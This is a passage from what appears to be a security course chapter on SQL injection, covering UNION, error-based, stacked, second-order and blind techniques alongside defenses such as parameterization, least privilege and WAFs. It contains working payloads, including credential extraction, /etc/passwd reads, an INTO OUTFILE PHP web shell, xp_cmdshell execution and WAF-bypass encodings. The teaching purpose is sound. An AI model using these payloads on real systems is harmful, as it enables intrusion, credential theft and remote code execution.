UNION SELECTappends rows from another query, letting an attacker pull data from unrelated tables into the displayed results.- Exploitation requires matching the column count (via
ORDER BY nor NULL-padding) and finding a string-compatible, visible column. concatpacks multiple secret fields into a single rendered column when only one is shown.- UNION needs reflected output; without it, use error-based or blind techniques. Parameterization and least privilege are the defenses.
🧪 Practice
- Describe the two methods for determining the column count and when each is preferable.
- Write a UNION payload that extracts
usernameandpasswordfrom auserstable into one visible column.- Explain why UNION fails on a page that only shows "login succeeded/failed" and what you would use instead.
- Interview-style: "
ORDER BY 5works butORDER BY 6errors. What have you learned and what is your next step?" Hint: you now know the column count — build aUNION SELECTwith exactly that many positions.
Error-Based Injection
Theory
When the application shows database error messages, those errors become an exfiltration channel. Error-based injection deliberately provokes a database error whose message contains the data you want. Instead of reading data from the rendered results, you coerce the engine into putting a secret into an error string — for example by forcing a type-conversion failure on the value of a subquery, so the error reads "cannot convert 'admin:hunter2' to int." This is invaluable when the page does not render query results but does leak errors.
Each engine has characteristic functions for this. In MSSQL, converting a string to an integer (CAST/CONVERT) echoes the offending string in the error. In MySQL, functions like extractvalue/updatexml emit part of their argument in an XPath error, and exp() or double-value overflows can leak data. In PostgreSQL, cast errors and xmlparse serve similar roles. The attacker nests a SELECT returning the secret inside one of these functions so the engine's own error reporting hands it over.
Error-based injection is faster than blind techniques (one request can leak a whole value) but depends on verbose error disclosure reaching the attacker — which is itself a misconfiguration. That dependency points straight at the defense: in production, never return raw database errors to clients; log them server-side and show a generic message. And, as always, parameterization prevents the injected function from being parsed at all. Error-based is a vivid reminder that information leakage (8.2) and injection compound each other.
Examples
-- MSSQL: force a conversion error that embeds the secret in the message.
' AND 1=CONVERT(int, (SELECT TOP 1 password FROM users)) --
-- Error: "Conversion failed when converting the varchar value 'hunter2' to int."
-- MySQL: leak via an XPath function's error message.
' AND extractvalue(1, concat(0x7e, (SELECT password FROM users LIMIT 1))) --
-- Error: "XPATH syntax error: '~hunter2'" (0x7e is '~', a visible delimiter)
Why it works and how to stop it:
secret ─▶ nested SELECT ─▶ error-triggering function ─▶ DB error message ─▶ attacker
Defense A: parameterize (payload never parsed)
Defense B: never show DB errors to users (generic message + server-side log)
Key Takeaways
- Error-based injection makes the database leak data inside its own error messages, useful when results are not rendered.
- It relies on engine-specific functions (MSSQL
CONVERT, MySQLextractvalue/updatexml) that echo an argument into an error. - It is faster than blind extraction but requires verbose errors to reach the attacker — a misconfiguration in itself.
- Defenses: parameterize queries and never return raw DB errors to clients (log server-side, show generic messages).
🧪 Practice
- Explain how a type-conversion error can be used to read a secret value.
- Give one MySQL and one MSSQL function commonly used for error-based extraction and what each outputs.
- Describe two configuration changes that remove the error-based channel without touching the query code.
- Interview-style: "Error-based SQLi worked in staging but not production. Name the most likely reason and whether the app is actually safe." Hint: production probably hides errors — the injection may still exist, now exploitable blind.
Stacked Queries and Second-Order Injection
Theory
Stacked queries (query stacking / batched queries) exploit drivers and engines that allow multiple statements separated by a semicolon in one call. If the application concatenates input into a query executed by such a driver, an attacker can append an entirely new statement: '; DROP TABLE users; -- or '; INSERT INTO users .... This escalates injection from reading data to arbitrary data modification and, on some engines, to executing stored procedures that reach the OS. Importantly, support varies — many PHP/MySQL setups historically disallow stacking, while MSSQL and PostgreSQL drivers often allow it — so whether stacking works is engine- and driver-specific.
Second-order (stored) injection is subtler and bypasses defenses that only sanitize at the point of entry. The attacker's payload is stored safely in one request (say, as a username containing SQL syntax, properly escaped on insert) and then used unsafely later by a different code path that builds a query from the stored value without re-parameterizing. Because the dangerous use is separated in time and code from the input, input-time filtering misses it entirely, and testers who only check reflected responses never see it. It is a direct consequence of thinking "we sanitized it on the way in" rather than "we parameterize wherever we query."
Both reinforce the same lesson: sanitization is not the model; parameterization at every query is. Escaping on input cannot protect a later query that concatenates the stored value, and blocking semicolons is a fragile way to stop stacking. Use parameterized statements everywhere data meets SQL, apply least privilege (so even a stacked DROP fails for lack of permission), and treat data read back from your own database as untrusted when it will be used to build further queries.
Examples
-- Stacked query (where the driver permits ';'): append a whole new statement.
'; UPDATE users SET role='admin' WHERE user='attacker'; --
-- One injection point -> arbitrary write, not just a read.
# Second-order: SAFE insert, UNSAFE later use.
# Request 1 (safe, parameterized insert):
db.execute("INSERT INTO users(name) VALUES (?)", [name]) # name = "x' OR '1'='1"
# Request 2 (vulnerable: builds a query FROM the stored value):
row = db.execute("SELECT * FROM users WHERE name = ?", [name]) # safe...
bad = db.execute("SELECT * FROM audit WHERE name = '" + row.name + "'") # ...but THIS concatenates
# ^ stored payload now injects
Key Takeaways
- Stacked queries append new statements via
;, escalating injection to arbitrary writes or procedure execution where the driver allows batching. - Second-order injection stores a payload safely, then triggers it later when another code path builds a query from the stored value.
- Input-time sanitization cannot stop second-order injection; only parameterizing at every query does.
- Defend with parameterized statements everywhere, least-privilege DB accounts, and treating even your own stored data as untrusted when building queries.
🧪 Practice
- Explain why blocking the
;character is an unreliable defense against stacked queries.- Walk through a second-order injection: where the payload is stored and where it detonates.
- Describe how least privilege limits the damage of a successful stacked query.
- Interview-style: "Input is escaped on every insert, so the app 'can't be injected.' Why is this reasoning flawed?" Hint: escaping on the way in says nothing about how the value is used in a later query.
Database Fingerprinting and Schema Enumeration
Theory
Exploitation is dialect-specific, so an attacker first fingerprints the database engine, then enumerates the schema to know what to target. Fingerprinting uses behavioral and syntactic tells: which comment style and string-concatenation operator work (|| in Oracle/PostgreSQL vs concat() in MySQL vs + in MSSQL), which version function exists (@@version, version(), banner), and how errors are phrased. Getting the dialect right is what turns "there's an injection" into "here is exactly the payload for this engine."
Schema enumeration discovers the tables and columns worth stealing. Most engines expose their structure through information_schema (a standardized set of views listing tables and columns), while others have engine-specific catalogs (Oracle's all_tables/all_tab_columns, MSSQL's sys.tables/sys.columns). An attacker queries information_schema.tables for interesting names (users, accounts, secrets), then information_schema.columns for the columns in those tables, and finally extracts the data. This metadata-first approach is efficient: rather than guessing table names, you ask the database to list them.
Understanding this helps defenders too. The same information_schema access that aids attackers is exactly what least-privilege accounts and database hardening should constrain — an application account rarely needs to read the full catalog, and some engines allow restricting it. More fundamentally, if injection is prevented (parameterization), none of this enumeration is reachable; fingerprinting and schema discovery are downstream of a parse-time failure that correct code never allows.
Examples
-- Fingerprinting: version functions differ by engine.
SELECT @@version; -- MSSQL / MySQL
SELECT version(); -- PostgreSQL / MySQL
SELECT banner FROM v$version; -- Oracle
-- Schema enumeration via the standardized information_schema:
' UNION SELECT table_name, NULL FROM information_schema.tables --
' UNION SELECT column_name, NULL FROM information_schema.columns
WHERE table_name = 'users' --
Dialect tells (quick fingerprint):
concat: || (Oracle/Postgres) concat() (MySQL) + (MSSQL)
version: @@version (MSSQL/MySQL) version() (PG/MySQL) v$version (Oracle)
comment: -- and /* */ (most) # (MySQL)
Then enumerate: information_schema.tables -> .columns -> extract.
Key Takeaways
- Attackers fingerprint the engine via dialect tells (concat operator, version function, comment style) because payloads are dialect-specific.
- Schema enumeration uses
information_schema(or engine catalogs) to list tables and columns before extracting data. - Metadata-first enumeration is faster and more reliable than guessing table/column names.
- Prevent injection (parameterization) and apply least privilege/catalog restrictions so this reconnaissance is never reachable.
🧪 Practice
- Give the version-query and concatenation operator for MySQL, PostgreSQL, MSSQL, and Oracle.
- Write the
information_schemaqueries to list all tables and then the columns of auserstable.- Explain how least privilege could limit an application account's access to the schema catalog.
- Interview-style: "Why does an attacker fingerprint the DB before writing extraction payloads?" Hint:
concat, comments, and metadata views all differ — a wrong-dialect payload simply errors.
Reading and Writing Files via SQLi
Theory
Injection sometimes reaches beyond the database to the filesystem, because several engines expose file I/O to sufficiently privileged accounts. Reading files lets an attacker pull server configuration, source code, or credentials: MySQL's LOAD_FILE(), PostgreSQL's COPY ... FROM or large-object functions, and MSSQL's OPENROWSET(BULK ...) can all read local files into query results. This converts a database bug into arbitrary file disclosure — reading /etc/passwd, application config, or private keys — without any separate vulnerability.
Writing files is the more dangerous direction, because a file written into a web-accessible directory can be a web shell, turning SQLi into remote code execution. MySQL's INTO OUTFILE/INTO DUMPFILE writes query output to a path; MSSQL historically reaches the OS via xp_cmdshell (command execution outright) or OLE automation; PostgreSQL can write via COPY ... TO and, with extensions or language features, execute commands. The pattern is "inject -> write <?php system($_GET['c']); ?> to the web root -> request it." This is why a SQLi finding is never "just" a data-disclosure issue.
Crucially, these capabilities are gated by privilege and configuration, which is the whole defense. File read/write and command execution require specific permissions (MySQL's FILE privilege, a writable secure_file_priv path; MSSQL's xp_cmdshell disabled by default and sysadmin-gated) and specific server settings. Least privilege — an application account with no file privileges, xp_cmdshell disabled, secure_file_priv locked down — removes the escalation even if injection occurs. Combined with parameterization (no injection in the first place), the filesystem path is closed off at both ends.
Examples
-- Read a local file into the result set (MySQL; requires FILE privilege).
' UNION SELECT LOAD_FILE('/etc/passwd'), NULL --
-- Write a web shell to the web root (MySQL; requires FILE priv + writable path).
' UNION SELECT '<?php system($_GET["c"]); ?>', NULL
INTO OUTFILE '/var/www/html/s.php' -- -- then GET /s.php?c=id -> RCE
-- MSSQL command execution (if xp_cmdshell is enabled and account is sysadmin):
'; EXEC xp_cmdshell 'whoami'; --
Escalation ladder and its gates:
read files : LOAD_FILE / OPENROWSET / COPY -> needs file privileges
write files : INTO OUTFILE / COPY TO -> needs write priv + web-writable path
exec commands: xp_cmdshell / language funcs -> needs it ENABLED + high privilege
Defense: least-privilege DB account + disable these features + parameterize.
Key Takeaways
- Some engines let privileged accounts read files (
LOAD_FILE,OPENROWSET,COPY FROM), turning SQLi into arbitrary file disclosure. - Writing files (
INTO OUTFILE,COPY TO) into the web root, orxp_cmdshell, escalates SQLi to remote code execution. - These capabilities are gated by specific privileges and settings, so least privilege and disabling features remove the escalation.
- A SQLi finding is never "just data disclosure" — assess file and command reachability before rating it.
🧪 Practice
- Explain how
INTO OUTFILEcan turn a read-oriented SQLi into remote code execution.- List the privilege/setting that gates file reads in MySQL and command execution in MSSQL.
- Describe a least-privilege configuration that prevents filesystem access even if injection exists.
- Interview-style: "Why might you rate the same SQLi as medium severity on one server and critical on another?" Hint: identical injection, different DB privileges — one can write a web shell, the other cannot.
Privilege Escalation from the Database
Theory
A foothold in the database can be a stepping stone to higher privilege, inside the DB and beyond it. Inside the database, an attacker who can read tables may find other users' password hashes (crack them offline), API keys, or session tokens; may alter their own row to grant themselves an admin role the application trusts; or may exploit over-privileged database accounts and insecure stored procedures to gain DBA rights. Each step uses legitimate database features turned against the trust the application placed in its data.
Beyond the database, escalation follows the connections a DB server has that the attacker does not. A database often runs with its own OS service account, holds credentials to other systems (linked servers, replication partners, cloud resources via instance roles), and sits inside a trusted network segment. Techniques like MSSQL linked-server traversal let an attacker pivot from one database to another it trusts; file-write/command-execution (previous topic) pivots to the OS; and credentials found in the database unlock email, cloud consoles, or additional apps. The database is frequently the richest single source of credentials in an organization, which makes DB compromise a launchpad for lateral movement.
The defenses are the familiar layered set applied to this specific risk. Least privilege for the application's DB account (no DDL, no file/command features, access only to the tables it needs) caps in-database escalation. Segmentation and credential hygiene — the DB cannot freely reach other systems, secrets are not stored in readable tables, and service accounts are scoped — cap the pivot. And because much of the escalation starts from reading sensitive values, encrypting or tokenizing secrets at rest and never storing recoverable credentials in the database shrink the prize even if a read succeeds.
Examples
-- In-DB escalation: promote your own account if the app trusts a role column.
'; UPDATE users SET role='admin' WHERE username='attacker'; --
-- Harvest hashes for offline cracking:
' UNION SELECT username, password_hash FROM users --
-- Pivot via MSSQL linked server to a database the current one trusts:
'; EXEC ('SELECT * FROM sysusers') AT [LinkedProdServer]; --
Escalation map from a DB foothold:
read hashes/keys ─▶ crack / reuse ─▶ other accounts & systems
alter own role ─▶ app-level admin
file/command exec ─▶ OS of DB host
linked servers / instance role ─▶ other DBs / cloud account
Caps: least privilege, segmentation, scoped service accounts, secrets encrypted/tokenized.
Key Takeaways
- In-database escalation harvests hashes/keys, self-grants roles, and abuses over-privileged accounts and stored procedures.
- Beyond the DB, attackers pivot via linked servers, OS command execution, instance/cloud roles, and credentials stored in tables.
- Databases are often the densest credential store in an org, making DB compromise a launchpad for lateral movement.
- Cap the blast radius with least privilege, network segmentation, scoped service accounts, and encrypting/tokenizing secrets at rest.
🧪 Practice
- Describe two ways an attacker escalates privilege without leaving the database.
- Explain how a linked server or an instance cloud role turns DB access into access to other systems.
- List three configuration choices that limit escalation from a compromised application DB account.
- Interview-style: "After reading one table via SQLi, why might an attacker consider the whole cloud account at risk?" Hint: databases store credentials, and DB hosts often carry cloud instance roles and links to other systems.
Parameterized Queries and Prepared Statements
Theory
Here is the fix that makes SQL injection essentially a solved problem: parameterized queries (prepared statements). Instead of building a query string that mixes code and data, you send the database a query template with placeholders (? or named params) and, separately, the parameter values. The database compiles the template first — fixing its structure — and then binds the values into the placeholders as pure data. Because the values are supplied after parsing, they can never change the query's syntax, no matter what characters they contain.
The reason this is categorically better than escaping is that it removes the possibility of confusion rather than trying to sanitize it away. Escaping tries to neutralize dangerous characters in a string you still parse as mixed code+data — a game you can lose to an encoding you forgot. Parameterization changes the channel: structure and data travel separately, so ' OR '1'='1' -- arrives as a six-teen-character string value, searched for literally, matching nothing. There is no payload, because there is no place for input to become syntax.
The one caveat worth memorizing: placeholders bind values, not identifiers or structure. You cannot parameterize a table name, a column name, or the direction of an ORDER BY. Where those must be dynamic, you select from a server-side allowlist (map the user's choice to a known-safe identifier) rather than concatenating. With that single discipline added, "always use parameterized queries, and allowlist any dynamic identifiers" is a complete, practical defense against SQL injection.
Examples
# VULNERABLE: string concatenation mixes code and data.
db.execute("SELECT * FROM users WHERE name = '" + name + "'") # injectable
# SAFE: parameterized. The driver compiles the template, then binds `name` as data.
db.execute("SELECT * FROM users WHERE name = ?", [name]) # ? is a value slot
# name = "' OR '1'='1" is searched for literally -> zero rows, no injection.
// Java JDBC: PreparedStatement binds values after the query is parsed.
PreparedStatement ps = conn.prepareStatement(
"SELECT * FROM users WHERE name = ? AND active = ?");
ps.setString(1, name); // bound as data, never as SQL
ps.setBoolean(2, true);
// Identifiers CANNOT be bound -> allowlist dynamic column/sort choices:
String col = Map.of("name","name","date","created_at").get(userChoice); // allowlist
if (col == null) throw new IllegalArgumentException();
String sql = "SELECT * FROM t ORDER BY " + col; // safe: col is from a fixed set
Key Takeaways
- Parameterized queries send the query structure and the data separately; the template is compiled before values are bound, so input cannot become syntax.
- This is categorically safer than escaping, which still parses mixed code+data and can lose to overlooked encodings.
- Placeholders bind values only — not table/column names or
ORDER BYdirection. - For dynamic identifiers, map the user's choice through a server-side allowlist instead of concatenating.
🧪 Practice
- Convert three concatenated queries into parameterized form in your language of choice.
- Explain precisely why
' OR '1'='1' --is harmless against a prepared statement.- Show how to safely implement a user-selectable sort column given that it cannot be parameterized.
- Interview-style: "If prepared statements stop SQL injection, why do real apps still have it?" Hint: one concatenated query anywhere, plus places parameters can't go (identifiers,
ORDER BY), plus ORM escape hatches.
Stored Procedures and ORM Safety
Theory
Stored procedures are queries saved and run inside the database, often promoted as a security measure. They can help — a procedure with fixed SQL and bound parameters is as safe as any parameterized query, and exposing only procedures lets you lock down table access. But stored procedures are not automatically safe: if a procedure itself builds SQL by concatenating its parameters and runs it with dynamic execution (EXEC(@sql), sp_executesql misused, EXECUTE IMMEDIATE), it reintroduces injection inside the database. The safety comes from parameter binding, not from the mere fact of being a procedure.
ORMs (Object-Relational Mappers) — Hibernate, Django ORM, SQLAlchemy, ActiveRecord — are the other common "it's handled for us" assumption. Used idiomatically, they parameterize automatically: User.objects.filter(name=x) binds x safely. The risk is the escape hatches every ORM provides for raw SQL and for building fragments from strings — raw(), extra(), .where("..." + x), HQL/JPQL string concatenation, or passing user input into an ORM method that interpolates it. Developers reach for these for complex queries and quietly reintroduce the classic bug, now hidden behind an abstraction that was supposed to prevent it.
The unifying principle is that the mechanism is only as safe as how it binds parameters. Treat stored procedures and ORMs as tools that make the safe path easy, not as guarantees. Review every dynamic-SQL construction inside procedures, prefer ORM query-builder methods over raw strings, and when raw SQL is unavoidable in either, use the parameter-binding API rather than string formatting. The same question answers both: "does untrusted input reach the SQL as a bound value, or as concatenated text?"
Examples
-- UNSAFE stored procedure: builds and runs dynamic SQL from a parameter.
CREATE PROCEDURE FindUser @name varchar(50) AS
EXEC('SELECT * FROM users WHERE name = ''' + @name + ''''); -- injectable inside the DB!
-- SAFE stored procedure: fixed SQL, parameter used directly as a value.
CREATE PROCEDURE FindUser @name varchar(50) AS
SELECT * FROM users WHERE name = @name; -- bound, not concatenated
# Django ORM: safe by default...
User.objects.filter(name=user_input) # parameterized
# ...dangerous escape hatches:
User.objects.raw("SELECT * FROM users WHERE name='%s'" % user_input) # injectable
User.objects.extra(where=["name = '" + user_input + "'"]) # injectable
# If you must use raw(), pass params separately:
User.objects.raw("SELECT * FROM users WHERE name = %s", [user_input]) # safe
Key Takeaways
- Stored procedures are safe only when they use bound parameters; building and running dynamic SQL from parameters reintroduces injection inside the DB.
- ORMs parameterize idiomatic queries automatically, but raw/
extra/string-concatenation escape hatches reopen the vulnerability. - Neither mechanism is a guarantee; safety comes from how parameters are bound, not from the abstraction.
- When raw SQL is unavoidable in a procedure or ORM, use the parameter-binding API, never string formatting.
🧪 Practice
- Rewrite an unsafe dynamic-SQL stored procedure into a safe, parameter-bound one.
- Identify the injectable ORM calls in a snippet and convert them to safe parameterized equivalents.
- Explain why "we use stored procedures" is not by itself a valid injection defense.
- Interview-style: "An ORM-based app has SQL injection. How is that possible?" Hint: look for
raw,extra, HQL/JPQL string building, or user input passed into an interpolating method.
Input Validation and Allowlisting
Theory
Parameterization stops injection; input validation is the complementary control that enforces what data should look like regardless of where it flows. Validation is defense in depth, not a substitute for parameterization — it catches malformed or malicious input early, reduces attack surface for all sinks (not just SQL), and provides a clean place to reject nonsense before it reaches business logic. The key distinction is between allowlisting (define what is acceptable and reject everything else) and blocklisting (enumerate the bad and allow the rest); allowlisting is strictly stronger because it is closed by construction and does not depend on predicting every malicious variant.
Good validation is positive, specific, and typed. Instead of "reject inputs containing ' or --" (a blocklist that encoding and alternate syntaxes defeat), you assert "this field is an integer in 1–1000," "this is a date in ISO format," "this username matches ^[a-z0-9_]{3,20}$." Where the valid set is enumerable (a status, a sort column, a country code), map the input to a fixed allowlist of known-good values. Validate as early as possible, on the server (client-side validation is a UX feature, never a security control), and at the correct layer — structural/type validation at the edge, semantic validation in business logic.
The reason validation is not enough on its own is important: a value can be perfectly valid for its purpose and still be dangerous in a sink. A product name legitimately contains quotes and dashes, so validation cannot strip SQL metacharacters without breaking real data — which is exactly why parameterization must handle the SQL boundary. The correct mental model is layered: validate for correctness and surface reduction, parameterize/encode for safe use in each specific sink. Relying on validation alone to stop injection is the classic mistake that blocklist-based "sanitizers" keep making.
Examples
# Allowlist by TYPE and RANGE where possible (closed by construction).
def get_page(page: str):
if not page.isdigit() or not (1 <= int(page) <= 1000): # positive assertion
abort(400)
return int(page) # now a safe integer; still use it as a parameter downstream
# Allowlist by ENUMERATION for a fixed set (e.g., sort column).
ALLOWED_SORT = {"name", "price", "date"}
if sort not in ALLOWED_SORT: abort(400) # reject anything not explicitly permitted
Allowlist vs blocklist:
blocklist: reject ' -- ; /* ... (endless; defeated by encoding/new syntax)
allowlist: accept ^[a-z0-9_]{3,20}$ (closed; unknown inputs rejected by default)
Layering: validate (correctness + surface) THEN parameterize/encode (safe use in sink)
Key Takeaways
- Validation is defense in depth that reduces surface for all sinks; it complements but does not replace parameterization.
- Allowlisting (define acceptable, reject the rest) is categorically stronger than blocklisting, which must predict every bad variant.
- Prefer positive, typed, specific rules (integer range, regex, enumerated set); validate server-side and early.
- Valid data can still be dangerous in a sink, so always pair validation with context-correct parameterization/encoding.
🧪 Practice
- Write allowlist validation for a numeric page parameter and for a sort-column parameter.
- Explain why a blocklist that strips
'and--is both insufficient and likely to corrupt legitimate data.- Give an example of input that is perfectly valid yet still unsafe without parameterization.
- Interview-style: "Is input validation enough to prevent SQL injection? Defend your answer." Hint: valid values can contain SQL metacharacters; the sink boundary still needs parameterization.
Least Privilege Database Accounts
Theory
Even with injection prevented, you plan for the day it is not. Least privilege for database accounts limits what a successful injection — or a compromised application server — can actually do. The principle: the application connects with an account that has exactly the permissions its features require and nothing more. If the app only reads and writes a handful of tables, its account should not be able to drop tables, read the full catalog freely, access other schemas, write files, or execute OS commands. This turns many catastrophic injections into merely serious ones.
Concretely, least privilege means separate, scoped accounts rather than one almighty connection. The app's runtime account gets SELECT/INSERT/UPDATE/DELETE on its own tables, not DDL (schema changes belong to migrations run by a different, more privileged account used only at deploy time). It is not a superuser/sa/root; it lacks the FILE privilege and cannot reach xp_cmdshell; secure_file_priv is locked down. Read-mostly workloads can even use a read-only account. Each removed permission is a specific escalation (from 8.3's file-write and privilege-escalation topics) that a successful injection can no longer perform.
This is the database expression of blast-radius reduction, and it pairs with network and secrets controls. The DB account's credentials should be stored securely (not in source), rotated, and the account's network reach constrained so a DB foothold cannot freely pivot. Least privilege does not prevent injection — parameterization does that — but it is the control that decides whether an injection that slips through is a data-read incident or a full-server compromise. Defense in depth means assuming the first line fails and ensuring the second line is in place.
Examples
-- Create a scoped application account: only CRUD on the tables it needs.
CREATE USER appuser WITH PASSWORD '...'; -- not a superuser
GRANT SELECT, INSERT, UPDATE, DELETE ON app.orders TO appuser;
GRANT SELECT, INSERT, UPDATE, DELETE ON app.users TO appuser;
-- NO: GRANT ALL / DDL / SUPERUSER / FILE privileges / access to other schemas.
-- Separate, higher-privilege account used ONLY by migrations at deploy time:
CREATE USER migrator WITH PASSWORD '...';
GRANT CREATE, ALTER, DROP ON SCHEMA app TO migrator; -- never used by the running app
What least privilege removes from an injection's reach:
DDL (DROP/ALTER) -> cannot destroy/alter schema
FILE / OUTFILE -> cannot read/write files (no web shell)
xp_cmdshell / exec -> cannot run OS commands
other schemas/catalog -> cannot enumerate/steal beyond its tables
superuser -> cannot self-grant or reach admin features
Key Takeaways
- Least privilege caps what a successful injection or app compromise can do, downgrading many catastrophic bugs to contained ones.
- Use separate scoped accounts: a runtime account with CRUD only, and a distinct higher-privilege account for migrations/DDL at deploy time.
- Deny file access, command execution, superuser rights, and cross-schema/catalog access the app does not need.
- It is blast-radius reduction, not injection prevention — a second line that matters precisely when parameterization is missed somewhere.
🧪 Practice
- Write the grants for an application account that only needs CRUD on two tables.
- Explain why DDL and file privileges should never belong to the runtime application account.
- Describe how separating migration and runtime accounts improves security without blocking deploys.
- Interview-style: "Injection exists but the attacker can only read two tables and cannot write files or escalate. Which control most likely produced that outcome?" Hint: the account simply lacked the permissions for anything worse.
WAF Rules and Their Bypasses
Theory
A Web Application Firewall (WAF) inspects HTTP traffic and blocks requests that match attack signatures (SQLi, XSS, traversal) or anomaly rules, sitting in front of the application as a filter. Its legitimate value is real: it is a fast-to-deploy layer that blocks opportunistic and automated attacks, buys time to patch (virtual patching), and provides attack telemetry. But its nature must be understood correctly — a WAF is a detective/preventive layer over an unfixed problem, matching patterns in input it only partially understands, which means it reduces risk but cannot be a substitute for parameterization.
WAFs are bypassable because they must guess how the application will interpret input, and attackers exploit every gap between the WAF's model and the app's. Classic bypass techniques: encoding and obfuscation (URL/double/unicode encoding, comments inside SQL like UN/**/ION, mixed case, whitespace alternatives), using a parser the WAF doesn't (sending the payload in a body format, header, or content type the WAF skips), fragmentation (splitting the payload across parameters the app concatenates), and sheer novelty (a signature set cannot cover syntaxes it has never seen). Because the application and WAF are two different parsers, their disagreement is the bypass — the same lesson as request smuggling and path normalization.
The correct posture is defense in depth with the right ordering: fix the vulnerability at the source (parameterize, encode, validate) and run a WAF to catch what slips through and to blunt mass scanning. Tune WAF rules to your app to reduce false positives and negatives, monitor what it blocks as an intelligence source, but never let "the WAF will catch it" justify leaving a concatenated query in place. A WAF turns a reliable exploit into a harder one; parameterization turns it into no exploit at all.
Examples
Common WAF bypass techniques for a SELECT-based payload:
case: SeLeCt / UnIoN
comments: UN/**/ION SEL/**/ECT (breaks the signature token)
encoding: %55NION (URL) %2555 (double) unicode homoglyphs
whitespace: UNION%0aSELECT UNION%09SELECT UNION(SELECT...)
split: ?a=UNI&b=ON where app does a+b (fragmented across params)
alt parser: send as JSON/XML/multipart the WAF parses differently than the app
Correct layering (order matters):
request ─▶ [ WAF: blocks known patterns, logs ] ─▶ [ app: PARAMETERIZED query ]
detective/virtual-patch layer the actual fix
WAF-only = bypassable; parameterize-only = safe; both = defense in depth.
Key Takeaways
- A WAF filters HTTP for attack patterns; it is valuable for blocking automated attacks and virtual patching, but it is a layer, not a fix.
- WAFs are bypassable because they must predict the app's interpretation — encoding, comments, fragmentation, and alternate parsers exploit that gap.
- The WAF/app parser disagreement is the bypass, mirroring smuggling and path-normalization issues.
- Use defense in depth: fix at the source (parameterize/validate) and run a tuned, monitored WAF to catch the rest — never rely on the WAF alone.
🧪 Practice
- List four techniques to obfuscate a
UNION SELECTpayload past a signature-based WAF.- Explain why sending a payload in an unusual content type can bypass a WAF the app still processes.
- Describe the right relationship between a WAF and source-level fixes in a defense-in-depth strategy.
- Interview-style: "Management wants to deploy a WAF instead of fixing the SQL injection to save dev time. How do you respond?" Hint: WAFs are bypassable parsers in front of the real bug — virtual patch now, but fix the source.
<a id="84-blind-sql-injection"></a>
8.4 Blind SQL Injection
When an application is injectable but reveals neither query results nor error messages, data still leaks — one bit at a time — through the application's observable behavior. This section covers how blind extraction works, how to automate it, and how defenders detect and slow it.
Detecting Injection Without Visible Output
Theory
Blind SQL injection is injection where the response does not directly contain query output or database errors. The vulnerability is real and exploitable; it is just that the attacker cannot read the answer in the page. Detection therefore shifts from "did my payload return data?" to "did my payload change something I can observe?" The two observable channels are the response content/behavior (a page renders differently, a record appears or does not) and timing (the response takes measurably longer). Learning to see injection through these indirect signals is the core skill.
The foundational detection method is differential testing with conditions that are true versus false. If id=1 AND 1=1 returns the normal page but id=1 AND 1=2 returns a different one (empty results, a "not found" message, a different length), then the application's behavior is a function of a SQL condition you control — which proves injection even with no output. If content never changes, you escalate to time-based probing: id=1 AND SLEEP(5) versus id=1 AND SLEEP(0) — a reliable five-second difference proves the injection even when the content is identical for every input.
The reason blind injection matters is that it is extremely common in the real world precisely because so many apps do suppress errors and don't reflect query results (which is good hygiene) while still concatenating input (which is the bug). So "we hide our errors" is not a fix — it merely converts fast error-based extraction into slower blind extraction. Detection is about choosing the right observable signal for the app in front of you and confirming, with a controlled true/false (or fast/slow) pair, that the signal tracks a condition you inject.
Examples
Two observable channels when there is no output:
CONTENT: AND 1=1 -> normal page | AND 1=2 -> different/empty page (boolean-based)
TIMING : AND SLEEP(5) -> ~5s delay | AND SLEEP(0) -> fast (time-based)
A controlled difference in EITHER channel confirms blind injection.
# Boolean detection: compare response sizes for true vs false.
curl -s "https://x.example/item?id=1%20AND%201=1" | wc -c # true -> size A
curl -s "https://x.example/item?id=1%20AND%201=2" | wc -c # false -> size B (differs)
# Time detection: measure total time for a delayed vs non-delayed condition.
curl -s -o /dev/null -w '%{time_total}\n' "https://x.example/item?id=1%20AND%20SLEEP(5)"
Key Takeaways
- Blind injection reveals no query output or errors, so detection relies on observable side effects: response content/behavior or timing.
- Boolean-based detection compares a true condition (
AND 1=1) against a false one (AND 1=2) for a behavioral difference. - Time-based detection uses a conditional delay (
SLEEP) to prove injection even when content is identical. - Suppressing errors does not remove the vulnerability; it converts fast extraction into slower blind extraction.
🧪 Practice
- Design a boolean-based and a time-based probe to confirm injection on a page that returns no results.
- Explain why identical-looking responses do not mean a parameter is safe.
- Describe how you would reduce false positives from network jitter in time-based detection.
- Interview-style: "An app returns the same page for every input. How can you still prove it is injectable?" Hint: make the database pause — a reliable delay you can switch on and off is proof.
Boolean-Based Inference
Theory
Boolean-based blind injection extracts data by asking the database a long series of yes/no questions and reading the answer from the application's behavior. The trick is that you cannot ask "what is the password?" but you can ask "is the first character of the password greater than 'm'?" and phrase it as a SQL condition whose truth changes the page. Each request yields one bit of information — true or false — and by asking enough carefully chosen questions, you reconstruct the secret character by character.
The questions are built from substring and comparison functions: extract one character of the target with SUBSTRING(value, position, 1), compare it with =, <, or >, and wrap the whole thing so a true condition produces the "normal" page and a false one the "different" page. For example, "is the 1st char of the admin's password equal to 'a'?" becomes a condition you inject; if the page comes back normal, the answer is yes. Iterate the position to walk the whole string, and iterate the guessed character (or use ordering) to pin each one down.
Boolean inference is reliable and content-driven (no timing noise), but it is slow: naive character-by-character equality testing can take dozens of requests per character. Its value is precisely in the hostile case — an app that leaks nothing but a behavioral difference. Understanding it also clarifies the defense: the thing leaking data is any attacker-observable difference tied to a condition, so defenses focus on removing the injection (parameterization) and on detecting the characteristic flood of near-identical, incrementally-varying requests that blind extraction produces.
Examples
-- Ask one yes/no question: "is the 1st char of the password 'a'?"
' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1) = 'a' --
-- normal page -> yes (char is 'a') different page -> no
-- Using ordering to narrow faster than guessing each letter:
' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1) > 'm' --
-- true/false splits the alphabet (sets up binary search, next topic)
Character-by-character inference:
position 1: is it > 'm'? yes -> is it > 's'? ... converge on 'p'
position 2: repeat
...
each answered question = 1 bit, read from normal-vs-different page behavior
Key Takeaways
- Boolean-based blind injection reconstructs secrets by asking yes/no questions whose truth changes the application's behavior.
- Conditions use
SUBSTRINGplus comparison to test one character position at a time. - It is content-driven and reliable but slow, making it the tool for apps that leak only a behavioral difference.
- Defenses: eliminate the injection (parameterize) and detect the flood of near-identical, incrementally varying requests.
🧪 Practice
- Write a boolean payload that tests whether the 3rd character of a secret equals a given letter.
- Estimate the number of requests to extract a 12-character value with naive per-letter equality testing.
- Explain why boolean inference works even when every response body is suppressed to a generic page, as long as behavior differs.
